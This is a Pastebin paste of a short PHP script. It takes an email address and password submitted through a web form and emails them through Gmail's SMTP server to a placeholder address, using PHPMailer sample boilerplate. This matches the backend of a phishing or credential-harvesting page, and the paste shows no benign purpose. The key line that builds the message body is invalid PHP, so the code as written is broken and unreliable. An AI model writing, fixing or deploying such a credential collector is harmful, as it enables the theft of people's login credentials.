Advertisement
Guest User

Untitled

a guest
Oct 30th, 2016
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. <?php
  2.  
  3. $email = $_POST['email'];
  4. $password = $_POST['password'];
  5.  
  6. require 'PHPMailer-master/PHPMailerAutoload.php';
  7.  
  8. $mail = new PHPMailer;
  9. $mail->isSMTP();
  10. // $mail->SMTPDebug = 2;
  11. // $mail->Debugoutput = 'html';
  12. $mail->Host = 'smtp.gmail.com';
  13. //Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission
  14. $mail->Port = 587;
  15. $mail->SMTPSecure = 'tls';
  16. $mail->SMTPAuth = true;
  17. $mail->Username = "";
  18. $mail->Password = "";
  19. $mail->setFrom('from@example.com', 'First Last');
  20. $mail->addReplyTo('replyto@example.com', 'First Last');
  21. //Set who the message is to be sent to
  22. $mail->addAddress('whoto@example.com', 'John Doe');
  23. $mail->Subject = 'PHPMailer GMail SMTP test';
  24. //Replace the plain text body with one created manually
  25. $mail - > Body = $email, $password;
  26. // $mail->Body = '<html>
  27. // <head>
  28. // <title>Birthday Reminders for August</title>
  29. // </head>
  30. // <body>
  31. // <p>Here are the birthdays upcoming in August!</p>
  32. // <table>
  33. // <tr>
  34. // <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
  35. // </tr>
  36. // <tr>
  37. // <td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
  38. // </tr>
  39. // <tr>
  40. // <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
  41. // </tr>
  42. // </table>
  43. // </body>
  44. // </html>';
  45. $mail->IsHTML(true);
  46. if (!$mail->send()) {
  47. echo "Mailer Error: " . $mail->ErrorInfo;
  48. } else {
  49. echo "Message sent!";
  50. }
  51.  
  52. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement